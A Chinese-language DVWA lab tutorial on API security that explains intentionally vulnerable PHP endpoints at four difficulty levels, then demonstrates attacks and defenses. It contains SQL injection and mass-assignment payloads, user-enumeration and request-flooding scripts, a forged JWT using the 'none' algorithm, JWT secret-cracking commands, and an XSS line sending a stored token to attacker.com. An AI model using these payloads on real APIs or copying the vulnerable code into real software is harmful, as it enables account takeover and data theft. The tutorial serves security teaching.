0%

目录


漏洞简介

什么是API安全漏洞?

API(Application Programming Interface)安全漏洞是指RESTful API、GraphQL API、SOAP API等接口中存在的安全问题,可能导致数据泄露、未授权访问或系统被攻击。

API的类型:

1. REST API

使用HTTP方法操作资源:

1
2
3
4
GET    /api/users/123      # 获取用户
POST /api/users # 创建用户
PUT /api/users/123 # 更新用户
DELETE /api/users/123 # 删除用户

2. GraphQL API

使用查询语言获取数据:

1
2
3
4
5
6
7
8
9
query {
user(id: 123) {
name
email
posts {
title
}
}
}

3. SOAP API

基于XML的协议:

1
2
3
4
5
6
7
<soap:Envelope>
<soap:Body>
<GetUser>
<UserId>123</UserId>
</GetUser>
</soap:Body>
</soap:Envelope>

OWASP API Security Top 10 (2023):

排名 漏洞 描述
API1 对象级别授权失效 访问他人数据
API2 认证机制失效 弱认证
API3 对象属性级别授权失效 修改敏感字段
API4 资源消耗无限制 DoS攻击
API5 功能级别授权失效 越权操作
API6 批量赋值 修改额外字段
API7 配置错误 暴露敏感信息
API8 注入攻击 SQL/NoSQL注入
API9 资产管理不当 旧版本API
API10 API日志和监控不足 无法检测攻击

危害:

  • 数据泄露
  • 未授权访问
  • 账户接管
  • DoS攻击
  • 业务逻辑绕过

DVWA场景:
一个用户管理的REST API,提供CRUD操作。


Low 难度

攻击目标

完全不验证权限,任何人都可以访问和修改任何数据。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?php

// ★★★ Low难度:完全没有认证和授权 ★★★

// 设置JSON响应头
header('Content-Type: application/json');

// 获取HTTP方法
$method = $_SERVER['REQUEST_METHOD'];

// 获取请求路径
$path = $_SERVER['PATH_INFO'] ?? '';

// ★★★ 危险操作1:不检查认证 ★★★
// 任何人都可以访问API
// 没有API密钥、Token或其他认证机制

// ★★★ 危险操作2:不检查授权 ★★★
// 没有验证用户是否有权限操作数据

// 路由:GET /api/users - 获取所有用户
if ($method == 'GET' && $path == '/users') {

// ★★★ 问题:返回所有用户信息,包括敏感数据 ★★★
$query = "SELECT * FROM users";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

$users = [];
while ($row = mysqli_fetch_assoc($result)) {
// ★★★ 问题:返回密码哈希 ★★★
$users[] = $row;
}

echo json_encode([
'success' => true,
'data' => $users
]);

// 路由:GET /api/users/{id} - 获取单个用户
} elseif ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 问题:不检查是否有权查看该用户 ★★★
$query = "SELECT * FROM users WHERE user_id = '$userId'";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if ($row = mysqli_fetch_assoc($result)) {
echo json_encode([
'success' => true,
'data' => $row
]);
} else {
echo json_encode([
'success' => false,
'error' => 'User not found'
]);
}

// 路由:POST /api/users - 创建用户
} elseif ($method == 'POST' && $path == '/users') {

// ★★★ 问题:任何人都可以创建用户 ★★★
// 没有限流,可以创建大量垃圾账户

$input = json_decode(file_get_contents('php://input'), true);

$username = $input['username'] ?? '';
$password = $input['password'] ?? '';
$email = $input['email'] ?? '';

// ★★★ 问题:直接拼接SQL,存在SQL注入 ★★★
$query = "INSERT INTO users (user, password, email) VALUES ('$username', '" . md5($password) . "', '$email')";

if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
echo json_encode([
'success' => true,
'message' => 'User created',
'user_id' => mysqli_insert_id($GLOBALS["___mysqli_ston"])
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to create user'
]);
}

// 路由:PUT /api/users/{id} - 更新用户
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];
$input = json_decode(file_get_contents('php://input'), true);

// ★★★ 问题:任何人都可以修改任何用户 ★★★
// 没有验证是否是用户本人或管理员

// ★★★ 问题:批量赋值漏洞 ★★★
// 可以修改任意字段,包括role、is_admin等
$fields = [];
foreach ($input as $key => $value) {
// ★★★ 问题:直接拼接,SQL注入 ★★★
$fields[] = "$key = '$value'";
}

$query = "UPDATE users SET " . implode(', ', $fields) . " WHERE user_id = '$userId'";

if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
echo json_encode([
'success' => true,
'message' => 'User updated'
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to update user'
]);
}

// 路由:DELETE /api/users/{id} - 删除用户
} elseif ($method == 'DELETE' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 问题:任何人都可以删除任何用户 ★★★
$query = "DELETE FROM users WHERE user_id = '$userId'";

if (mysqli_query($GLOBALS["___mysqli_ston"], $query)) {
echo json_encode([
'success' => true,
'message' => 'User deleted'
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to delete user'
]);
}

} else {
// 404
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'Endpoint not found'
]);
}

?>

漏洞分析

核心问题:

  1. 无认证 - 任何人都可以访问
  2. 无授权 - 不检查权限
  3. SQL注入 - 直接拼接SQL
  4. 批量赋值 - 可修改任意字段
  5. 敏感信息泄露 - 返回密码哈希
  6. 无限流 - 可以DoS攻击
  7. 详细错误信息 - 泄露系统信息

攻击步骤

步骤1:API枚举

发现API端点:

1
2
3
4
5
6
7
8
# 使用curl测试
curl -X GET http://dvwa.local/api/users
curl -X GET http://dvwa.local/api/users/1
curl -X POST http://dvwa.local/api/users
curl -X PUT http://dvwa.local/api/users/1
curl -X DELETE http://dvwa.local/api/users/1

# 使用Postman或Insomnia测试

使用工具发现API:

1
2
3
4
5
6
7
# 使用gobuster
gobuster dir -u http://dvwa.local/api/ \
-w /usr/share/wordlists/api-endpoints.txt

# 使用ffuf
ffuf -u http://dvwa.local/api/FUZZ \
-w /usr/share/wordlists/api-endpoints.txt

步骤2:数据枚举

获取所有用户:

1
curl -X GET http://dvwa.local/api/users

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"success": true,
"data": [
{
"user_id": "1",
"user": "admin",
"password": "5f4dcc3b5aa765d61d8327deb882cf99",
"first_name": "admin",
"last_name": "admin",
"email": "admin@example.com"
},
{
"user_id": "2",
"user": "user1",
"password": "098f6bcd4621d373cade4e832627b4f6",
"email": "user1@example.com"
}
]
}

枚举用户ID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

base_url = "http://dvwa.local/api/users"

print("[*] Enumerating users...")

for user_id in range(1, 100):
response = requests.get(f"{base_url}/{user_id}")

if response.status_code == 200:
data = response.json()
if data.get('success'):
user = data.get('data', {})
print(f"[+] Found user {user_id}: {user.get('user')}")
print(f" Email: {user.get('email')}")
print(f" Password hash: {user.get('password')}")

步骤3:未授权访问

查看其他用户数据:

1
2
3
4
# 查看admin用户
curl -X GET http://dvwa.local/api/users/1

# 结果:可以看到admin的所有信息,包括密码哈希

步骤4:SQL注入

在用户名中注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# SQL注入payload
curl -X POST http://dvwa.local/api/users \
-H "Content-Type: application/json" \
-d '{
"username": "admin'\'' OR '\''1'\''='\''1",
"password": "password",
"email": "test@example.com"
}'

# 或使用UNION注入
curl -X POST http://dvwa.local/api/users \
-H "Content-Type: application/json" \
-d '{
"username": "test'\'' UNION SELECT * FROM admin_table --",
"password": "password",
"email": "test@example.com"
}'

步骤5:批量赋值攻击

修改用户角色:

1
2
3
4
5
6
7
8
9
10
11
# 提升普通用户为管理员
curl -X PUT http://dvwa.local/api/users/5 \
-H "Content-Type: application/json" \
-d '{
"user": "hacker",
"role": "admin",
"is_admin": 1,
"privileges": "all"
}'

# 结果:成功修改role和is_admin字段

步骤6:删除用户

1
2
3
4
# 删除管理员账户
curl -X DELETE http://dvwa.local/api/users/1

# 结果:管理员账户被删除

步骤7:DoS攻击

创建大量用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import concurrent.futures

base_url = "http://dvwa.local/api/users"

def create_fake_user(i):
data = {
'username': f'fake_user_{i}',
'password': 'password',
'email': f'fake_{i}@example.com'
}
response = requests.post(base_url, json=data)
return response.status_code

# 使用多线程创建1000个用户
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(create_fake_user, i) for i in range(1000)]

for future in concurrent.futures.as_completed(futures):
print(f"Created user: {future.result()}")

Medium 难度

攻击目标

添加了简单的API密钥认证,但仍有漏洞。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?php

header('Content-Type: application/json');

// ★★★ 新增:API密钥认证 ★★★
// 从请求头获取API密钥
// X-API-Key - 自定义请求头
$apiKey = $_SERVER['HTTP_X_API_KEY'] ?? '';

// ★★★ 问题:硬编码的API密钥 ★★★
// 密钥写死在代码中
// 而且只有一个密钥,所有用户共享
$validApiKey = 'dvwa_api_key_12345';

// ★★★ 验证API密钥 ★★★
if ($apiKey !== $validApiKey) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Invalid API key'
]);
exit;
}

// ★★★ 新增:简单的限流 ★★★
// 但实现有问题
function check_rate_limit($api_key) {
// 使用文件存储请求计数
$file = "/tmp/api_rate_limit_$api_key.txt";

// ★★★ 问题:文件锁不安全 ★★★
if (file_exists($file)) {
$data = json_decode(file_get_contents($file), true);

// 检查过去60秒的请求数
if (time() - $data['timestamp'] < 60) {
if ($data['count'] >= 100) {
return false; // 超过限制
}
$data['count']++;
} else {
// 重置计数
$data = ['timestamp' => time(), 'count' => 1];
}
} else {
$data = ['timestamp' => time(), 'count' => 1];
}

file_put_contents($file, json_encode($data));
return true;
}

if (!check_rate_limit($apiKey)) {
http_response_code(429);
echo json_encode([
'success' => false,
'error' => 'Rate limit exceeded'
]);
exit;
}

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// ★★★ 新增:使用PDO预编译 ★★★
// 防止SQL注入
global $db; // PDO连接

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 改进:使用PDO预编译 ★★★
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
// ★★★ 改进:不返回密码哈希 ★★★
echo json_encode([
'success' => true,
'data' => $user
]);
} else {
echo json_encode([
'success' => false,
'error' => 'User not found'
]);
}

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];
$input = json_decode(file_get_contents('php://input'), true);

// ★★★ 问题:仍然没有授权检查 ★★★
// 任何有API密钥的人都可以修改任何用户

// ★★★ 改进:字段白名单 ★★★
// 只允许修改特定字段
$allowedFields = ['first_name', 'last_name', 'email'];

$updates = [];
$params = [':id' => $userId];

foreach ($input as $key => $value) {
if (in_array($key, $allowedFields)) {
$updates[] = "$key = :$key";
$params[":$key"] = $value;
}
}

if (empty($updates)) {
echo json_encode([
'success' => false,
'error' => 'No valid fields to update'
]);
exit;
}

$query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
$stmt = $db->prepare($query);

if ($stmt->execute($params)) {
echo json_encode([
'success' => true,
'message' => 'User updated'
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to update user'
]);
}

} else {
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'Endpoint not found'
]);
}

?>

新增防护

  1. API密钥认证 - 需要密钥才能访问
  2. 限流机制 - 防止DoS攻击
  3. PDO预编译 - 防止SQL注入
  4. 字段白名单 - 限制可修改字段
  5. 不返回密码 - 敏感信息保护

仍存在的漏洞

核心问题:

  1. 硬编码API密钥 - 所有用户共享
  2. 无授权检查 - 有密钥就能操作所有数据
  3. 限流实现弱 - 文件锁不安全
  4. 无用户上下文 - 不知道谁在操作

绕过方法

方法1:获取API密钥

从客户端代码获取:

1
2
3
4
5
6
7
8
9
10
11
// 如果前端代码中硬编码了API密钥
const API_KEY = 'dvwa_api_key_12345';

fetch('/api/users/1', {
headers: {
'X-API-Key': API_KEY
}
});

// 查看浏览器开发者工具 → Network → Headers
// 可以看到X-API-Key

从文档获取:

1
2
3
# 如果API文档公开
curl -X GET http://dvwa.local/api/users/1 \
-H "X-API-Key: dvwa_api_key_12345"

方法2:绕过限流

使用多个API密钥(如果有):

1
2
3
4
5
api_keys = ['key1', 'key2', 'key3']

for i in range(1000):
key = api_keys[i % len(api_keys)]
requests.get(url, headers={'X-API-Key': key})

竞态条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 同时发送多个请求
import threading

def make_request():
requests.get(url, headers={'X-API-Key': api_key})

threads = []
for i in range(200):
t = threading.Thread(target=make_request)
t.start()
threads.append(t)

for t in threads:
t.join()

方法3:越权访问

1
2
3
4
5
6
7
# 修改其他用户数据(有密钥即可)
curl -X PUT http://dvwa.local/api/users/1 \
-H "X-API-Key: dvwa_api_key_12345" \
-H "Content-Type: application/json" \
-d '{"email": "hacked@evil.com"}'

# 结果:成功修改admin的邮箱

High 难度

攻击目标

使用JWT Token和更严格的权限检查,但仍有绕过可能。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
<?php

header('Content-Type: application/json');

// ★★★ 新增:JWT Token认证 ★★★
// 从Authorization头获取Token
// Bearer token格式
$authHeader = $_SERVER['HTTP_AUTHORIZATION'] ?? '';

if (!preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Missing or invalid authorization header'
]);
exit;
}

$token = $matches[1];

// ★★★ JWT验证 ★★★
function verify_jwt($token) {
// JWT格式:header.payload.signature

$parts = explode('.', $token);

if (count($parts) !== 3) {
return false;
}

list($header_b64, $payload_b64, $signature_b64) = $parts;

// ★★★ 问题:密钥硬编码 ★★★
$secret = 'my_jwt_secret_key';

// 验证签名
$signature_check = hash_hmac(
'sha256',
$header_b64 . '.' . $payload_b64,
$secret,
true
);

$signature_check_b64 = rtrim(strtr(base64_encode($signature_check), '+/', '-_'), '=');

if ($signature_check_b64 !== $signature_b64) {
return false;
}

// 解码payload
$payload = json_decode(base64_decode(strtr($payload_b64, '-_', '+/')), true);

// ★★★ 改进:检查过期时间 ★★★
if (isset($payload['exp']) && $payload['exp'] < time()) {
return false; // Token已过期
}

return $payload;
}

$payload = verify_jwt($token);

if (!$payload) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Invalid or expired token'
]);
exit;
}

// 从payload获取用户信息
$currentUserId = $payload['user_id'];
$currentUserRole = $payload['role'];

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 改进:权限检查 ★★★
// 普通用户只能查看自己
// 管理员可以查看所有用户
if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Forbidden: You can only view your own data'
]);
exit;
}

// 查询用户
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email, role FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
echo json_encode([
'success' => true,
'data' => $user
]);
} else {
echo json_encode([
'success' => false,
'error' => 'User not found'
]);
}

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];
$input = json_decode(file_get_contents('php://input'), true);

// ★★★ 权限检查 ★★★
if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Forbidden: You can only update your own data'
]);
exit;
}

// ★★★ 字段白名单(根据角色) ★★★
$allowedFields = ['first_name', 'last_name', 'email'];

// ★★★ 问题:管理员可以修改role ★★★
// 但没有检查是否在修改自己的role
if ($currentUserRole === 'admin') {
$allowedFields[] = 'role';
}

$updates = [];
$params = [':id' => $userId];

foreach ($input as $key => $value) {
if (in_array($key, $allowedFields)) {
$updates[] = "$key = :$key";
$params[":$key"] = $value;
}
}

if (empty($updates)) {
echo json_encode([
'success' => false,
'error' => 'No valid fields to update'
]);
exit;
}

$query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
$stmt = $db->prepare($query);

if ($stmt->execute($params)) {
echo json_encode([
'success' => true,
'message' => 'User updated'
]);
} else {
echo json_encode([
'success' => false,
'error' => 'Failed to update user'
]);
}

} else {
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'Endpoint not found'
]);
}

?>

新增防护

  1. JWT Token认证 - 基于Token的认证
  2. Token过期 - 限制Token有效期
  3. 角色授权 - 根据角色限制访问
  4. 资源所有权 - 只能访问自己的数据

仍存在的漏洞

核心问题:

  1. JWT密钥硬编码 - 可能被获取
  2. 算法混淆攻击 - none算法绕过
  3. 权限检查逻辑漏洞 - 管理员可以修改自己为超级管理员

绕过方法

方法1:JWT算法混淆攻击

None算法攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
import json

# 创建header(指定算法为none)
header = {
"alg": "none",
"typ": "JWT"
}

# 创建payload
payload = {
"user_id": 1,
"role": "admin",
"exp": 9999999999
}

# Base64编码
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')

# 构造Token(无签名)
fake_token = f"{header_b64}.{payload_b64}."

print(f"Fake token: {fake_token}")

# 使用这个Token访问API

方法2:暴力破解JWT密钥

1
2
3
4
5
# 使用jwt_tool
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt

# 或使用hashcat
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt

方法3:Token劫持

1
2
3
4
5
// 如果Token存储在localStorage
console.log(localStorage.getItem('jwt_token'));

// 通过XSS窃取Token
fetch('http://attacker.com/steal?token=' + localStorage.getItem('jwt_token'));

Impossible 难度

攻击目标

完善的API安全,真正安全。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
<?php

header('Content-Type: application/json');

// ★★★ Impossible: 完善的API安全 ★★★

// ★★★ 核心防护1:OAuth 2.0认证 ★★★
// 使用标准的OAuth 2.0协议
// 从Authorization头获取Access Token
$authHeader = $_SERVER['HTTP_AUTHORIZATION'] ?? '';

if (!preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Missing or invalid authorization header'
]);
exit;
}

$accessToken = $matches[1];

// ★★★ 验证Access Token ★★★
// 通过OAuth 2.0服务器验证Token
function verify_access_token($token) {
// 调用OAuth 2.0服务器的introspection endpoint
$oauth_server = 'https://oauth.example.com/introspect';

$response = file_get_contents($oauth_server, false, stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => http_build_query(['token' => $token])
]
]));

$data = json_decode($response, true);

// 检查Token是否有效
if (!$data['active']) {
return false;
}

return $data;
}

$tokenData = verify_access_token($accessToken);

if (!$tokenData) {
http_response_code(401);
echo json_encode([
'success' => false,
'error' => 'Invalid or expired access token'
]);
exit;
}

$currentUserId = $tokenData['user_id'];
$currentUserRole = $tokenData['role'];
$scopes = $tokenData['scope'] ?? [];

// ★★★ 核心防护2:基于Scope的权限 ★★★
// 检查Token是否有所需的权限范围
function has_scope($required_scope, $token_scopes) {
return in_array($required_scope, $token_scopes);
}

// ★★★ 核心防护3:严格的限流 ★★★
// 使用Redis实现分布式限流
function check_rate_limit_redis($user_id) {
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

$key = "api_rate_limit:user:$user_id";

// 滑动窗口限流
$current = time();
$window = 60; // 60秒窗口
$limit = 100; // 最多100次请求

// 移除窗口外的请求
$redis->zRemRangeByScore($key, 0, $current - $window);

// 获取当前窗口内的请求数
$count = $redis->zCard($key);

if ($count >= $limit) {
return false;
}

// 记录当前请求
$redis->zAdd($key, $current, uniqid());
$redis->expire($key, $window);

return true;
}

if (!check_rate_limit_redis($currentUserId)) {
http_response_code(429);
echo json_encode([
'success' => false,
'error' => 'Rate limit exceeded',
'retry_after' => 60
]);
exit;
}

$method = $_SERVER['REQUEST_METHOD'];
$path = $_SERVER['PATH_INFO'] ?? '';

// GET /api/users/{id}
if ($method == 'GET' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];

// ★★★ 核心防护4:Scope检查 ★★★
if (!has_scope('users:read', $scopes)) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Insufficient permissions: users:read scope required'
]);
exit;
}

// ★★★ 核心防护5:严格的授权检查 ★★★
if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Forbidden: You can only view your own data'
]);

// ★★★ 记录未授权访问尝试 ★★★
logSecurityEvent('Unauthorized API access', [
'user_id' => $currentUserId,
'target_user_id' => $userId,
'endpoint' => $path,
'method' => $method,
'ip' => $_SERVER['REMOTE_ADDR']
]);

exit;
}

// 查询用户(只返回必要字段)
$stmt = $db->prepare('SELECT user_id, user, first_name, last_name, email FROM users WHERE user_id = :id');
$stmt->bindParam(':id', $userId, PDO::PARAM_INT);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user) {
// ★★★ 记录API访问 ★★★
logAPIAccess($currentUserId, 'GET', $path, 200);

echo json_encode([
'success' => true,
'data' => $user
]);
} else {
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'User not found'
]);
}

// PUT /api/users/{id}
} elseif ($method == 'PUT' && preg_match('/^\/users\/(\d+)$/', $path, $matches)) {

$userId = $matches[1];
$input = json_decode(file_get_contents('php://input'), true);

// ★★★ Scope检查 ★★★
if (!has_scope('users:write', $scopes)) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Insufficient permissions: users:write scope required'
]);
exit;
}

// ★★★ 授权检查 ★★★
if ($currentUserRole !== 'admin' && $currentUserId != $userId) {
http_response_code(403);
echo json_encode([
'success' => false,
'error' => 'Forbidden: You can only update your own data'
]);
exit;
}

// ★★★ 输入验证 ★★★
$allowedFields = ['first_name', 'last_name', 'email'];

// ★★★ 管理员也不能修改role(需要特殊权限) ★★★
if ($currentUserRole === 'admin' && has_scope('users:admin', $scopes)) {
$allowedFields[] = 'role';
}

$updates = [];
$params = [':id' => $userId];

foreach ($input as $key => $value) {
if (in_array($key, $allowedFields)) {
// ★★★ 额外验证 ★★★
if ($key === 'email' && !filter_var($value, FILTER_VALIDATE_EMAIL)) {
http_response_code(400);
echo json_encode([
'success' => false,
'error' => 'Invalid email format'
]);
exit;
}

$updates[] = "$key = :$key";
$params[":$key"] = $value;
}
}

if (empty($updates)) {
http_response_code(400);
echo json_encode([
'success' => false,
'error' => 'No valid fields to update'
]);
exit;
}

$query = "UPDATE users SET " . implode(', ', $updates) . " WHERE user_id = :id";
$stmt = $db->prepare($query);

if ($stmt->execute($params)) {
logAPIAccess($currentUserId, 'PUT', $path, 200);

echo json_encode([
'success' => true,
'message' => 'User updated'
]);
} else {
http_response_code(500);
echo json_encode([
'success' => false,
'error' => 'Failed to update user'
]);
}

} else {
http_response_code(404);
echo json_encode([
'success' => false,
'error' => 'Endpoint not found'
]);
}

?>

完善的防护机制

多层防御:

  1. OAuth 2.0认证 - 标准认证协议
  2. Scope权限 - 细粒度权限控制
  3. 分布式限流 - Redis滑动窗口
  4. 严格授权 - 每个操作都检查
  5. 输入验证 - 验证所有输入
  6. 审计日志 - 记录所有操作
  7. 错误不泄露 - 统一错误信息
  8. PDO预编译 - 防止SQL注入

安全流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
API请求

1. 验证OAuth Access Token

2. 检查Token是否有效

3. 检查Scope权限

4. 检查限流

5. 验证资源所有权

6. 验证输入

7. 执行操作

8. 记录审计日志

9. 返回响应

为什么无法攻破?

所有攻击都失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
攻击1:无Token访问
结果:401 Unauthorized

攻击2:伪造Token
OAuth服务器验证 → 失败 → 拒绝

攻击3:越权访问
Scope检查 + 所有权检查 → 拒绝

攻击4:批量赋值
字段白名单 → 只允许特定字段

攻击5DoS攻击
Redis限流 → 超过限制 → 429 Too Many Requests

攻击6:SQL注入
PDO预编译 → 无法注入

防御建议

认证和授权

1
2
3
4
5
6
7
8
9
// ✅ 使用OAuth 2.0或OpenID Connect
// ✅ 使用JWT但签名验证严格
// ✅ 使用Scope控制细粒度权限
// ✅ 每个endpoint都检查权限

// ❌ 不要:
// - 硬编码API密钥
// - 使用简单的API密钥认证
// - 不检查授权

限流和DoS防护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 使用Redis限流
function rate_limit($user_id, $limit, $window) {
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

$key = "rate:$user_id";
$current = $redis->incr($key);

if ($current == 1) {
$redis->expire($key, $window);
}

return $current <= $limit;
}

输入验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 验证所有输入
function validate_user_input($data) {
$errors = [];

if (!filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
$errors[] = 'Invalid email';
}

if (strlen($data['username']) < 3) {
$errors[] = 'Username too short';
}

return $errors;
}

审计日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function log_api_access($user_id, $method, $path, $status) {
$log = [
'timestamp' => date('Y-m-d H:i:s'),
'user_id' => $user_id,
'method' => $method,
'path' => $path,
'status' => $status,
'ip' => $_SERVER['REMOTE_ADDR']
];

file_put_contents(
'/var/log/api_access.log',
json_encode($log) . "\n",
FILE_APPEND
);
}

总结对比

特性 Low Medium High Impossible
认证 ❌ 无 API密钥 JWT OAuth 2.0
授权 ❌ 无 ❌ 无 基于角色 Scope+角色
限流 简单文件 Redis分布式
SQL注入防护 ✅ PDO ✅ PDO ✅ PDO
批量赋值防护 白名单 白名单 严格白名单
审计日志 ✅ 完善
敏感信息 泄露 部分保护 保护 完全保护
攻击难度 极易 简单 中等 极难

实战建议

渗透测试清单:

  1. ✅ 发现所有API端点
  2. ✅ 测试无认证访问
  3. ✅ 枚举用户ID
  4. ✅ 测试越权访问
  5. ✅ 测试批量赋值
  6. ✅ 测试SQL注入
  7. ✅ 测试限流
  8. ✅ JWT破解

防御清单:

  1. ✅ 使用OAuth 2.0
  2. ✅ 实施Scope权限
  3. ✅ 严格授权检查
  4. ✅ 分布式限流
  5. ✅ 输入验证
  6. ✅ 完善审计日志
  7. ✅ API版本管理
  8. ✅ 使用API网关

道德准则:

  • 只在授权环境测试
  • 不攻击真实API
  • 学习是为了构建安全API

目录


漏洞简介

什么是暴力破解(Brute Force)?

